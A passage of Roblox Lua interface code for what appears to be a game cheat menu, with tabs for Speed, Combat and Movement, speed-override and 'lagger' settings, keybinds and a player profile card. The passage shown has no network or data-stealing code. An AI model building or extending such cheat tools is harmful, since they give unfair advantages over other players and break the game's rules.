hov.MouseLeave:Connect(function()
tw(Row,{BackgroundTransparency=0.55,BackgroundColor3=Color3.fromRGB(11,11,17)})
tw(aBar,{BackgroundTransparency=1})
end)
if kbKey then _GACC.GuiToggleSetters[kbKey]=setV end
return Row,setV
end
local function addActionRow(parent,label,kbKey,onAction,order)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.BackgroundColor3=Color3.fromRGB(11,11,17)
Row.BackgroundTransparency=0.25; Row.BorderSizePixel=0; Row.LayoutOrder=order; guiCorner(Row,6)
local aBar=Instance.new("Frame",Row); aBar.Size=UDim2.new(0,3,0,22); aBar.AnchorPoint=Vector2.new(0,0.5)
aBar.Position=UDim2.new(0,0,0.5,0); aBar.BackgroundColor3=_ACC.accent; aBar.BackgroundTransparency=1
aBar.BorderSizePixel=0; guiCorner(aBar,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(0.7,0,0,18); Lb.Position=UDim2.new(0,14,0,12)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225); Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
local AB=Instance.new("TextButton",Row); AB.Size=UDim2.new(1,0,1,0); AB.BackgroundTransparency=1; AB.Text=""
AB.MouseButton1Click:Connect(function() playFeatureEffect(Row); onAction() end)
local hov=Instance.new("TextButton",Row); hov.Size=UDim2.new(1,0,1,0); hov.BackgroundTransparency=1; hov.Text=""; hov.ZIndex=0
hov.MouseEnter:Connect(function()
tw(Row,{BackgroundTransparency=0.25,BackgroundColor3=_ACC.accentRowHover})
tw(aBar,{BackgroundTransparency=0.15})
end)
hov.MouseLeave:Connect(function()
tw(Row,{BackgroundTransparency=0.55,BackgroundColor3=Color3.fromRGB(11,11,17)})
tw(aBar,{BackgroundTransparency=1})
end)
return Row
end
_GACC.extras.addDropdownRow=function(parent,label,options,current,order,onSelect)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.LayoutOrder=order
Row.BackgroundColor3=Color3.fromRGB(11,11,17); Row.BackgroundTransparency=.25; Row.BorderSizePixel=0; Row.ClipsDescendants=true; guiCorner(Row,6)
local accent=Instance.new("Frame",Row); accent.Size=UDim2.new(0,3,0,22); accent.Position=UDim2.new(0,0,0,10)
accent.BackgroundColor3=_ACC.accent; accent.BackgroundTransparency=.25; accent.BorderSizePixel=0; guiCorner(accent,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(0,88,0,42); Lb.Position=UDim2.new(0,14,0,0)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225); Lb.TextSize=11
Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
local valueBtn=Instance.new("TextButton",Row); valueBtn.Size=UDim2.new(1,-116,0,26); valueBtn.Position=UDim2.new(0,104,0,8)
valueBtn.BackgroundColor3=_ACC.accentBg; valueBtn.BackgroundTransparency=.18; valueBtn.BorderSizePixel=0
valueBtn.Text=tostring(current).." v"; valueBtn.TextColor3=_ACC.accent; valueBtn.TextSize=9; valueBtn.Font=Enum.Font.GothamBold
valueBtn.TextTruncate=Enum.TextTruncate.AtEnd; valueBtn.ZIndex=8; guiCorner(valueBtn,7); guiStroke(valueBtn,_ACC.accentDark,1)
local drop=Instance.new("ScrollingFrame",Row); drop.Position=UDim2.new(0,8,0,44); drop.Size=UDim2.new(1,-16,0,0)
drop.BackgroundColor3=Color3.fromRGB(7,7,12); drop.BackgroundTransparency=.02; drop.BorderSizePixel=0
drop.ScrollBarThickness=2; drop.ScrollBarImageColor3=_ACC.accent; drop.CanvasSize=UDim2.new(0,0,0,#options*28+4)
drop.Visible=false; drop.ZIndex=9; guiCorner(drop,7); guiStroke(drop,Color3.fromRGB(48,50,64),1)
local list=Instance.new("UIListLayout",drop); list.SortOrder=Enum.SortOrder.LayoutOrder; list.Padding=UDim.new(0,2)
local pad=Instance.new("UIPadding",drop); pad.PaddingTop=UDim.new(0,3); pad.PaddingLeft=UDim.new(0,4); pad.PaddingRight=UDim.new(0,4)
local built=false; local open=false
local function setOpen(on)
open=on
if on and not built then
built=true
for i,name in ipairs(options) do
local choice=Instance.new("TextButton",drop); choice.Size=UDim2.new(1,0,0,26); choice.LayoutOrder=i
choice.BackgroundColor3=Color3.fromRGB(17,18,25); choice.BackgroundTransparency=.12; choice.BorderSizePixel=0
choice.Text=name; choice.TextColor3=Color3.fromRGB(205,208,224); choice.TextSize=9; choice.Font=Enum.Font.GothamBold
choice.ZIndex=10; guiCorner(choice,5)
choice.MouseEnter:Connect(function() tw(choice,{BackgroundColor3=_ACC.accentHover}) end)
choice.MouseLeave:Connect(function() tw(choice,{BackgroundColor3=Color3.fromRGB(17,18,25)}) end)
choice.MouseButton1Click:Connect(function()
current=name; valueBtn.Text=name.." v"; if onSelect then onSelect(name) end; setOpen(false)
end)
end
end
if on then drop.Visible=true end
-- size to the actual option count, capped so long lists scroll
local wanted=math.min(#options*28+6,140)
tw(Row,{Size=UDim2.new(1,0,0,on and (wanted+52) or 42)},TweenInfo.new(.24,Enum.EasingStyle.Quint,Enum.EasingDirection.Out))
tw(drop,{Size=UDim2.new(1,-16,0,on and wanted or 0)},TweenInfo.new(.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out))
valueBtn.Text=tostring(current)..(on and " ^" or " v")
if not on then task.delay(.23,function() if not open and drop then drop.Visible=false end end) end
end
valueBtn.MouseButton1Click:Connect(function() setOpen(not open) end)
table.insert(_themeActBtns,valueBtn); table.insert(_themeScrollbars,drop)
return Row,function(v) current=v; valueBtn.Text=tostring(v)..(open and " ^" or " v") end
end
local function addKeybindRow(parent,label,kbKey,order)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.LayoutOrder=order
Row.BackgroundColor3=Color3.fromRGB(11,11,17); Row.BackgroundTransparency=.25; Row.BorderSizePixel=0; guiCorner(Row,6)
local accent=Instance.new("Frame",Row); accent.Size=UDim2.new(0,3,0,22); accent.Position=UDim2.new(0,0,.5,-11)
accent.BackgroundColor3=_ACC.accent; accent.BackgroundTransparency=1; accent.BorderSizePixel=0; guiCorner(accent,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(.58,0,1,0); Lb.Position=UDim2.new(0,14,0,0)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225)
Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
local keyBtn=Instance.new("TextButton",Row); keyBtn.AnchorPoint=Vector2.new(1,.5)
keyBtn.Size=UDim2.new(0,44,0,24); keyBtn.Position=UDim2.new(1,-12,.5,0); keyBtn.AutomaticSize=Enum.AutomaticSize.X
keyBtn.BackgroundColor3=_ACC.accentBg; keyBtn.BackgroundTransparency=.3; keyBtn.BorderSizePixel=0
keyBtn.Text=prettyKey(Keys[kbKey]); keyBtn.TextColor3=_ACC.accent; keyBtn.TextSize=10; keyBtn.Font=Enum.Font.GothamBold
guiCorner(keyBtn,6); local keyPad=Instance.new("UIPadding",keyBtn); keyPad.PaddingLeft=UDim.new(0,10); keyPad.PaddingRight=UDim.new(0,10)
table.insert(_themeKbLabels,keyBtn)
keyBtn.MouseButton1Click:Connect(function() startKL(keyBtn,function(nk) Keys[kbKey]=nk; keyBtn.Text=prettyKey(nk); saveConfig() end) end)
keyBtn.MouseEnter:Connect(function()
tw(keyBtn,{BackgroundTransparency=.05,BackgroundColor3=_ACC.accentHover}); tw(Row,{BackgroundTransparency=.15,BackgroundColor3=_ACC.accentRowHover}); tw(accent,{BackgroundTransparency=.1})
end)
keyBtn.MouseLeave:Connect(function()
tw(keyBtn,{BackgroundTransparency=.3,BackgroundColor3=_ACC.accentBg}); tw(Row,{BackgroundTransparency=.25,BackgroundColor3=Color3.fromRGB(11,11,17)}); tw(accent,{BackgroundTransparency=1})
end)
return Row,keyBtn
end
-- NEW: Add Scale Row with + and - buttons
local function addScaleRow(parent, label, getter, setter, order)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.BackgroundColor3=Color3.fromRGB(11,11,17)
Row.BackgroundTransparency=0.25; Row.BorderSizePixel=0; Row.LayoutOrder=order; guiCorner(Row,6)
local aBar=Instance.new("Frame",Row); aBar.Size=UDim2.new(0,3,0,22); aBar.AnchorPoint=Vector2.new(0,0.5)
aBar.Position=UDim2.new(0,0,0.5,0); aBar.BackgroundColor3=_ACC.accent; aBar.BackgroundTransparency=1
aBar.BorderSizePixel=0; guiCorner(aBar,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(0.5,0,0,18); Lb.Position=UDim2.new(0,14,0,12)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225); Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
-- Container for buttons and value
local controlFrame=Instance.new("Frame",Row)
controlFrame.Size=UDim2.new(0,120,0,28); controlFrame.Position=UDim2.new(1,-132,0.5,-14)
controlFrame.BackgroundTransparency=1; controlFrame.ZIndex=6
local minus=Instance.new("TextButton",controlFrame)
minus.Size=UDim2.new(0,28,1,0); minus.Position=UDim2.new(0,0,0,0)
minus.BackgroundColor3=Color3.fromRGB(28,30,38); minus.BackgroundTransparency=0.2; minus.BorderSizePixel=0
minus.Text="−"; minus.TextColor3=Color3.fromRGB(220,220,230); minus.Font=Enum.Font.GothamBold; minus.TextSize=14
guiCorner(minus,6); guiStroke(minus,Color3.fromRGB(60,62,74),1)
local valLbl=Instance.new("TextLabel",controlFrame)
valLbl.Size=UDim2.new(0,50,1,0); valLbl.Position=UDim2.new(0,32,0,0)
valLbl.BackgroundTransparency=1; valLbl.Text=string.format("%.1f", getter())
valLbl.TextColor3=Color3.fromRGB(230,235,245); valLbl.Font=Enum.Font.GothamBold; valLbl.TextSize=13
valLbl.TextXAlignment=Enum.TextXAlignment.Center
local plus=Instance.new("TextButton",controlFrame)
plus.Size=UDim2.new(0,28,1,0); plus.Position=UDim2.new(1,-28,0,0)
plus.BackgroundColor3=Color3.fromRGB(28,30,38); plus.BackgroundTransparency=0.2; plus.BorderSizePixel=0
plus.Text="+"; plus.TextColor3=Color3.fromRGB(220,220,230); plus.Font=Enum.Font.GothamBold; plus.TextSize=14
guiCorner(plus,6); guiStroke(plus,Color3.fromRGB(60,62,74),1)
local function updateVal()
local v = getter()
valLbl.Text = string.format("%.1f", v)
end
minus.MouseButton1Click:Connect(function()
local newVal = math.max(0.1, getter() - 0.1)
setter(newVal)
updateVal()
saveConfig()
end)
plus.MouseButton1Click:Connect(function()
local newVal = math.min(2.0, getter() + 0.1)
setter(newVal)
updateVal()
saveConfig()
end)
minus.MouseEnter:Connect(function()
tw(minus,{BackgroundColor3=Color3.fromRGB(60,40,40),BackgroundTransparency=0})
end)
minus.MouseLeave:Connect(function()
tw(minus,{BackgroundColor3=Color3.fromRGB(28,30,38),BackgroundTransparency=0.2})
end)
plus.MouseEnter:Connect(function()
tw(plus,{BackgroundColor3=Color3.fromRGB(40,60,40),BackgroundTransparency=0})
end)
plus.MouseLeave:Connect(function()
tw(plus,{BackgroundColor3=Color3.fromRGB(28,30,38),BackgroundTransparency=0.2})
end)
local hov=Instance.new("TextButton",Row); hov.Size=UDim2.new(1,0,1,0); hov.BackgroundTransparency=1; hov.Text=""; hov.ZIndex=0
hov.MouseEnter:Connect(function()
tw(Row,{BackgroundTransparency=0.18,BackgroundColor3=_ACC.accentRowHover})
tw(aBar,{BackgroundTransparency=0.15})
end)
hov.MouseLeave:Connect(function()
tw(Row,{BackgroundTransparency=0.55,BackgroundColor3=Color3.fromRGB(11,11,17)})
tw(aBar,{BackgroundTransparency=1})
end)
return Row
end
local Categories={"Speed","Combat","Movement","Visual","Settings","Keybinds"}
local CategoryMeta={
Speed={icon="SP",sub="velocity"}, Combat={icon="CB",sub="targeting"},
Movement={icon="MV",sub="routing"}, Visual={icon="FX",sub="display"}, Settings={icon="ST",sub="safety"}, Keybinds={icon="KB",sub="controls"},
}
local CategoryRefs={contents={},btns={},strokes={},active="Speed"}
for pageIndex,name in ipairs(Categories) do
local page=Instance.new("Frame")
page.Size=UDim2.new(1,0,0,0); page.AutomaticSize=Enum.AutomaticSize.Y; page.BackgroundTransparency=1
page.Visible=(name==CategoryRefs.active); page.LayoutOrder=pageIndex; page.Parent=CF; CategoryRefs.contents[name]=page
local lay=Instance.new("UIListLayout"); lay.SortOrder=Enum.SortOrder.LayoutOrder; lay.Padding=UDim.new(0,5); lay.Parent=page
local pad=Instance.new("UIPadding"); pad.PaddingLeft=UDim.new(0,4); pad.PaddingRight=UDim.new(0,4)
pad.PaddingTop=UDim.new(0,6); pad.PaddingBottom=UDim.new(0,6); pad.Parent=page
end
-- ==================== TOP CATEGORY BAR ====================
-- Horizontal pills under the header. Scrolls sideways so all six fit
-- at a readable size instead of being squeezed to fit the width.
local TabBar=Instance.new("ScrollingFrame",Inner)
TabBar.Name="TabBar"
TabBar.Position=UDim2.new(0,10,0,80)
TabBar.Size=UDim2.new(1,-20,0,34)
TabBar.BackgroundTransparency=1
TabBar.BorderSizePixel=0
TabBar.ScrollBarThickness=0
TabBar.ScrollingDirection=Enum.ScrollingDirection.X
TabBar.AutomaticCanvasSize=Enum.AutomaticSize.X
TabBar.CanvasSize=UDim2.new(0,0,0,0)
TabBar.ElasticBehavior=Enum.ElasticBehavior.Never
TabBar.ClipsDescendants=true
TabBar.Active=true
TabBar.ZIndex=6
do
local tbLay=Instance.new("UIListLayout",TabBar)
tbLay.FillDirection=Enum.FillDirection.Horizontal
tbLay.SortOrder=Enum.SortOrder.LayoutOrder
tbLay.Padding=UDim.new(0,7)
tbLay.VerticalAlignment=Enum.VerticalAlignment.Center
local tbPad=Instance.new("UIPadding",TabBar)
tbPad.PaddingRight=UDim.new(0,10)
end
CategoryRefs.topTabs={}
local function styleTopTab(name,activeNow)
local t=CategoryRefs.topTabs[name]
if not t then return end
local ti=TweenInfo.new(0.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out)
tw(t.frame,{BackgroundColor3=activeNow and _ACC.accentBg or Color3.fromRGB(13,13,19),
BackgroundTransparency=activeNow and 0.12 or 0.45},ti)
tw(t.label,{TextColor3=activeNow and Color3.fromRGB(242,242,255) or Color3.fromRGB(126,128,146)},ti)
t.stroke.Color=activeNow and _ACC.accent or Color3.fromRGB(34,35,46)
tw(t.stroke,{Transparency=activeNow and 0.15 or 0.55},ti)
end
-- single place that changes page, with a short fade-and-slide transition
local function selectCategory(name)
local nextPage = CategoryRefs.contents[name]
if not nextPage or CategoryRefs.active == name then return end
local previousPage = CategoryRefs.contents[CategoryRefs.active]
CategoryRefs.active=name
local token = (CategoryRefs.transitionToken or 0) + 1
CategoryRefs.transitionToken = token
local tiOut = TweenInfo.new(0.14, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local tiIn = TweenInfo.new(0.26, Enum.EasingStyle.Quint, Enum.EasingDirection.Out)
local overlay=GuiRefs.tabTransitionOverlay
if overlay then overlay.Visible=false end
if previousPage and previousPage ~= nextPage then
previousPage.Visible=true
previousPage.Position=UDim2.new(-0.09,0,0,0)
tw(previousPage,{Position=UDim2.new(0.09,0,0,0)},tiOut)
task.delay(0.14,function()
if CategoryRefs.transitionToken==token then previousPage.Visible=false end
end)
end
nextPage.Visible=true
nextPage.Position=UDim2.new(0.09,0,0,0)
tw(nextPage,{Position=UDim2.new(0,0,0,0)},tiIn)
-- No overlay or color flash is used during tab switching.
CF.CanvasPosition=Vector2.new(0,0)
for n in pairs(CategoryRefs.topTabs) do styleTopTab(n,n==name) end
end
CategoryRefs.select=selectCategory
for i,name in ipairs(Categories) do
local wide=math.max(62,#name*8+26)
local holder=Instance.new("TextButton",TabBar)
holder.Name="TopTab_"..name
holder.Size=UDim2.new(0,wide,0,30)
holder.BackgroundColor3=Color3.fromRGB(13,13,19)
holder.BackgroundTransparency=0.45
holder.BorderSizePixel=0
holder.AutoButtonColor=false
holder.Text=""
holder.LayoutOrder=i
holder.ZIndex=7
guiCorner(holder,9)
local hs=guiStroke(holder,Color3.fromRGB(34,35,46),1)
local lbl=Instance.new("TextLabel",holder)
lbl.Size=UDim2.new(1,0,1,0)
lbl.BackgroundTransparency=1
lbl.Text=string.upper(name)
lbl.TextColor3=Color3.fromRGB(126,128,146)
lbl.TextSize=10
lbl.Font=Enum.Font.GothamBold
lbl.ZIndex=8
CategoryRefs.topTabs[name]={frame=holder,label=lbl,stroke=hs}
holder.MouseButton1Click:Connect(function() selectCategory(name) end)
end
for n in pairs(CategoryRefs.topTabs) do styleTopTab(n,n==CategoryRefs.active) end
-- repaint the bar when the colour theme changes
table.insert(_themeExtRefs,{callback=function()
pcall(function()
for n in pairs(CategoryRefs.topTabs) do styleTopTab(n,n==CategoryRefs.active) end
end)
end})
local _CAT_COUNT=#Categories
for i,name in ipairs(Categories) do
local isActive=(name=="Speed")
local meta=CategoryMeta[name]
local row=Instance.new("Frame",TabRail)
row.Name="Tab_"..name
row.Size=UDim2.new(1,-12,0,48)
row.BackgroundColor3=isActive and Color3.fromRGB(24,24,31) or Color3.fromRGB(10,10,15)
row.BackgroundTransparency=isActive and 0.08 or 0.42
row.BorderSizePixel=0; row.LayoutOrder=i*2; row.ClipsDescendants=false
guiCorner(row,9)
local rowStroke=guiStroke(row,isActive and _ACC.accentDark or Color3.fromRGB(35,36,48),1)
CategoryRefs.strokes[name]=rowStroke
local ind=Instance.new("Frame",row); ind.Name="indicator"
ind.AnchorPoint=Vector2.new(0,0.5); ind.Position=UDim2.new(0,0,0.5,0)
ind.BackgroundColor3=_ACC.accent
ind.BackgroundTransparency=isActive and 0 or 1
ind.Size=isActive and UDim2.new(0,3,0,28) or UDim2.new(0,3,0,14)
ind.BorderSizePixel=0; guiCorner(ind,2)
table.insert(_themeTabInds,ind)
local badge=Instance.new("Frame",row)
badge.Name="Badge"
badge.Size=UDim2.new(0,28,0,28); badge.Position=UDim2.new(0,10,0.5,-14)
badge.BackgroundColor3=isActive and _ACC.accentBg or Color3.fromRGB(19,19,26)
badge.BackgroundTransparency=0.08; badge.BorderSizePixel=0; guiCorner(badge,7)
local badgeStroke=guiStroke(badge,isActive and _ACC.accentDark or Color3.fromRGB(48,49,62),1)
local badgeText=Instance.new("TextLabel",badge)
badgeText.Size=UDim2.new(1,0,1,0); badgeText.BackgroundTransparency=1
badgeText.Text=meta.icon; badgeText.Font=Enum.Font.GothamBlack; badgeText.TextSize=9
badgeText.TextColor3=isActive and _ACC.accent or Color3.fromRGB(112,114,132)
local sub=Instance.new("TextLabel",row)
sub.Size=UDim2.new(1,-48,0,12); sub.Position=UDim2.new(0,45,0,25)
sub.BackgroundTransparency=1; sub.Text=meta.sub; sub.Font=Enum.Font.Gotham
sub.TextSize=8; sub.TextColor3=Color3.fromRGB(82,84,102); sub.TextXAlignment=Enum.TextXAlignment.Left
local btn=Instance.new("TextButton",row)
btn.Size=UDim2.new(1,-45,0,22); btn.Position=UDim2.new(0,45,0,6)
btn.BackgroundTransparency=1
btn.Text=name
btn.TextColor3=isActive and Color3.fromRGB(240,240,255) or Color3.fromRGB(138,140,158)
btn.Font=Enum.Font.GothamBold; btn.TextSize=10; btn.TextXAlignment=Enum.TextXAlignment.Left
btn.AutoButtonColor=false; btn.BorderSizePixel=0
btn.TextWrapped=true; btn.TextTruncate=Enum.TextTruncate.AtEnd
table.insert(_themeTabBtns,{btn=btn,name=name})
CategoryRefs.btns[name]=btn
btn.MouseEnter:Connect(function()
if CategoryRefs.active~=name then
local ti=TweenInfo.new(0.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out)
tw(btn,{TextColor3=Color3.fromRGB(225,228,240)},ti)
tw(row,{BackgroundTransparency=0.18,BackgroundColor3=Color3.fromRGB(18,18,25)},ti)
tw(badgeText,{TextColor3=Color3.fromRGB(190,192,210)},ti)
end
end)
btn.MouseLeave:Connect(function()
if CategoryRefs.active~=name then
local ti=TweenInfo.new(0.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out)
tw(btn,{TextColor3=Color3.fromRGB(138,140,158)},ti)
tw(row,{BackgroundTransparency=0.42,BackgroundColor3=Color3.fromRGB(10,10,15)},ti)
tw(badgeText,{TextColor3=Color3.fromRGB(112,114,132)},ti)
end
end)
btn.MouseButton1Click:Connect(function()
if CategoryRefs.active == name then return end
if CategoryRefs.select then CategoryRefs.select(name) end
local ti_btn = TweenInfo.new(0.2, Enum.EasingStyle.Quint, Enum.EasingDirection.Out)
local ti_ind = TweenInfo.new(0.28, Enum.EasingStyle.Quint, Enum.EasingDirection.Out)
for n,b in pairs(CategoryRefs.btns) do
local ac=(n==name)
tw(b, {TextColor3=ac and Color3.fromRGB(240,240,255) or Color3.fromRGB(138,140,158)}, ti_btn)
local r2=b.Parent
tw(r2, {BackgroundTransparency=ac and 0.08 or 0.42,BackgroundColor3=ac and Color3.fromRGB(24,24,31) or Color3.fromRGB(10,10,15)}, ti_btn)
local ind2=r2:FindFirstChild("indicator")
if ind2 then tw(ind2, {BackgroundTransparency=ac and 0 or 1, Size=ac and UDim2.new(0,3,0,28) or UDim2.new(0,3,0,14)}, ti_ind) end
local badge2=r2:FindFirstChild("Badge")
if badge2 then
local bt=badge2:FindFirstChildOfClass("TextLabel")
tw(badge2,{BackgroundColor3=ac and _ACC.accentBg or Color3.fromRGB(19,19,26)},ti_btn)
if bt then tw(bt,{TextColor3=ac and _ACC.accent or Color3.fromRGB(112,114,132)},ti_btn) end
end
local stroke2=CategoryRefs.strokes[n]
if stroke2 then stroke2.Color=ac and _ACC.accentDark or Color3.fromRGB(35,36,48) end
end
end)
end
do
local spBtn=CategoryRefs.btns["Speed"]
if spBtn then
spBtn.TextColor3=_ACC.accent
local r2=spBtn.Parent
r2.BackgroundTransparency=0.08
local ind2=r2:FindFirstChild("indicator")
if ind2 then ind2.BackgroundTransparency=0; ind2.Size=UDim2.new(0,3,0,28) end
end
end
do
local userF=Instance.new("Frame",Inner)
userF.Name="UserInfo"; userF.ZIndex=4
userF.Size=UDim2.new(0,108,0,54); userF.Position=UDim2.new(1,-156,0,7)
userF.BackgroundColor3=Color3.fromRGB(13,13,20); userF.BackgroundTransparency=1; userF.BorderSizePixel=0
guiCorner(userF,10)
local userStroke=guiStroke(userF,Color3.fromRGB(48,50,64),1);userStroke.Transparency=.72
local userGrad=Instance.new("UIGradient",userF)
userGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(22,22,31)),ColorSequenceKeypoint.new(0.55,Color3.fromRGB(13,13,20)),ColorSequenceKeypoint.new(1,Color3.fromRGB(7,7,12))})
userGrad.Rotation=16
local cardGlint=Instance.new("Frame",userF)
cardGlint.Size=UDim2.new(1,-20,0,1); cardGlint.Position=UDim2.new(0,10,0,3)
cardGlint.BackgroundColor3=Color3.fromRGB(235,238,255); cardGlint.BackgroundTransparency=1
cardGlint.BorderSizePixel=0; cardGlint.ZIndex=6; guiCorner(cardGlint,1)
local cardGlintGrad=Instance.new("UIGradient",cardGlint)
cardGlintGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(.45,.05),NumberSequenceKeypoint.new(1,1)})
local profileAccent=Instance.new("Frame",userF)
profileAccent.Size=UDim2.new(0,2,0,28); profileAccent.Position=UDim2.new(0,0,0.5,-14)
profileAccent.BackgroundColor3=_ACC.accentDark; profileAccent.BackgroundTransparency=.62
profileAccent.BorderSizePixel=0; profileAccent.ZIndex=6; guiCorner(profileAccent,2)
local logoCircle=Instance.new("Frame",userF)
logoCircle.Size=UDim2.new(0,40,0,40); logoCircle.Position=UDim2.new(0,7,0,7)
logoCircle.BackgroundColor3=_ACC.accentBg; logoCircle.BackgroundTransparency=.72; logoCircle.BorderSizePixel=0
guiCorner(logoCircle,20)
local avatarStroke=guiStroke(logoCircle,_ACC.accentDark,1.7)
local logoImg=Instance.new("ImageLabel",logoCircle)
logoImg.Size=UDim2.new(1,-4,1,-4); logoImg.Position=UDim2.new(0,2,0,2)
logoImg.BackgroundTransparency=1; logoImg.BorderSizePixel=0
logoImg.Image=""; logoImg.ScaleType=Enum.ScaleType.Crop
guiCorner(logoImg,18)
task.spawn(function()
local ok,thumb=pcall(function()
return Players:GetUserThumbnailAsync(LP.UserId,Enum.ThumbnailType.HeadShot,Enum.ThumbnailSize.Size150x150)
end)
if ok and logoImg and logoImg.Parent then logoImg.Image=thumb end
end)
local onlineDot=Instance.new("Frame",logoCircle)
onlineDot.Size=UDim2.new(0,8,0,8); onlineDot.Position=UDim2.new(1,-8,1,-8)
onlineDot.BackgroundColor3=Color3.fromRGB(110,225,145); onlineDot.BorderSizePixel=0
onlineDot.ZIndex=8; guiCorner(onlineDot,4)
local onlineStroke=guiStroke(onlineDot,Color3.fromRGB(8,8,13),1.5); onlineStroke.Transparency=0
local onlineScale=Instance.new("UIScale",onlineDot)
task.spawn(function()
while onlineDot and onlineDot.Parent do
TweenService:Create(onlineScale,TweenInfo.new(.7,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Scale=1.28}):Play(); task.wait(.7)
TweenService:Create(onlineScale,TweenInfo.new(.7,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Scale=1}):Play(); task.wait(.7)
end
end)
local profileName=Instance.new("TextLabel",userF)
profileName.Size=UDim2.new(1,-60,0,16); profileName.Position=UDim2.new(0,53,0,8)
profileName.BackgroundTransparency=1; profileName.Text=LP.DisplayName
profileName.TextColor3=Color3.fromRGB(239,241,250); profileName.TextSize=9
profileName.Font=Enum.Font.GothamBlack; profileName.TextXAlignment=Enum.TextXAlignment.Left
profileName.TextStrokeColor3=Color3.fromRGB(8,8,13); profileName.TextStrokeTransparency=.7
profileName.TextTruncate=Enum.TextTruncate.AtEnd
local profileHandle=Instance.new("TextLabel",userF)
profileHandle.Size=UDim2.new(1,-60,0,14); profileHandle.Position=UDim2.new(0,53,0,25)
profileHandle.BackgroundTransparency=1; profileHandle.Text="@"..LP.Name
profileHandle.TextColor3=Color3.fromRGB(194,198,214); profileHandle.TextSize=8
profileHandle.Font=Enum.Font.GothamMedium; profileHandle.TextXAlignment=Enum.TextXAlignment.Left
profileHandle.TextTruncate=Enum.TextTruncate.AtEnd
profileHandle.TextStrokeColor3=_ACC.accentDark; profileHandle.TextStrokeTransparency=.58
local handleGrad=Instance.new("UIGradient",profileHandle)
handleGrad.Color=_accentGrad(0)
handleGrad.Transparency=NumberSequence.new({
NumberSequenceKeypoint.new(0,.2),
NumberSequenceKeypoint.new(.5,0),
NumberSequenceKeypoint.new(1,.2)
})
task.spawn(function()
local t=0
while profileHandle and profileHandle.Parent do
t=t+.035
handleGrad.Offset=Vector2.new(math.sin(t*.8)*.35,0)
handleGrad.Color=_accentGrad(t)
task.wait(.04)
end
end)
local profileLine=Instance.new("Frame",userF)
profileLine.Size=UDim2.new(0,52,0,1); profileLine.Position=UDim2.new(0,53,1,-8)
profileLine.BackgroundColor3=_ACC.accentDark; profileLine.BackgroundTransparency=.78
profileLine.BorderSizePixel=0
local lineGrad=Instance.new("UIGradient",profileLine)
lineGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
local profileScale=Instance.new("UIScale",userF)
userF.MouseEnter:Connect(function()
TweenService:Create(profileScale,TweenInfo.new(0.18,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=1.035}):Play()
tw(userF,{BackgroundColor3=_ACC.accentBg,BackgroundTransparency=1},TweenInfo.new(0.18))
tw(profileAccent,{BackgroundTransparency=.38},TweenInfo.new(0.18))
tw(userStroke,{Transparency=.42},TweenInfo.new(0.18))
end)
userF.MouseLeave:Connect(function()
TweenService:Create(profileScale,TweenInfo.new(0.2,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1}):Play()
tw(userF,{BackgroundColor3=Color3.fromRGB(13,13,20),BackgroundTransparency=1},TweenInfo.new(0.2))
tw(profileAccent,{BackgroundTransparency=.62},TweenInfo.new(0.2))
tw(userStroke,{Transparency=.72},TweenInfo.new(0.2))
end)
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function()
logoCircle.BackgroundColor3=thm.accentBg; avatarStroke.Color=thm.accentDark
userStroke.Color=thm.accentDark; profileAccent.BackgroundColor3=thm.accentDark
profileLine.BackgroundColor3=thm.accentDark; profileHandle.TextStrokeColor3=thm.accentDark
end)
end})
end
do
local sp=CategoryRefs.contents["Speed"]
local b=mkSection(sp,"SPEED CONFIGURATION",0)
addInputRow(b,"Normal Speed",NS,1,function(v) NS=v; saveConfig() end)
addInputRow(b,"Carry Speed",CS,2,function(v) CS=v; saveConfig() end)
addInputRow(b,"Lagger Normal",LAGGER_SPEED,3,function(v) LAGGER_SPEED=v; saveConfig() end)
addInputRow(b,"Lagger Carry",LAGGER_CARRY_SPEED,4,function(v) LAGGER_CARRY_SPEED=v; saveConfig() end)
-- Carry Mode / Lagger Mode rows removed: mobile buttons + keybinds cover
-- them. Every _GACC.safeCarryVisual / safeLaggerVisual call site is
-- nil-guarded, so they simply no-op now.
local _,autoCarryVisual=addToggleRow(b,"Auto Carry Speed",_GACC.autoCarrySpeedEnabled,7,nil,function(on)
_GACC.autoCarrySpeedEnabled=on
if not on and _GACC.disableAutoCarry then _GACC.disableAutoCarry() end
saveConfig()
end)
_GACC.autoCarryVisual=autoCarryVisual
end
task.spawn(function()
do
local cp=CategoryRefs.contents["Combat"]
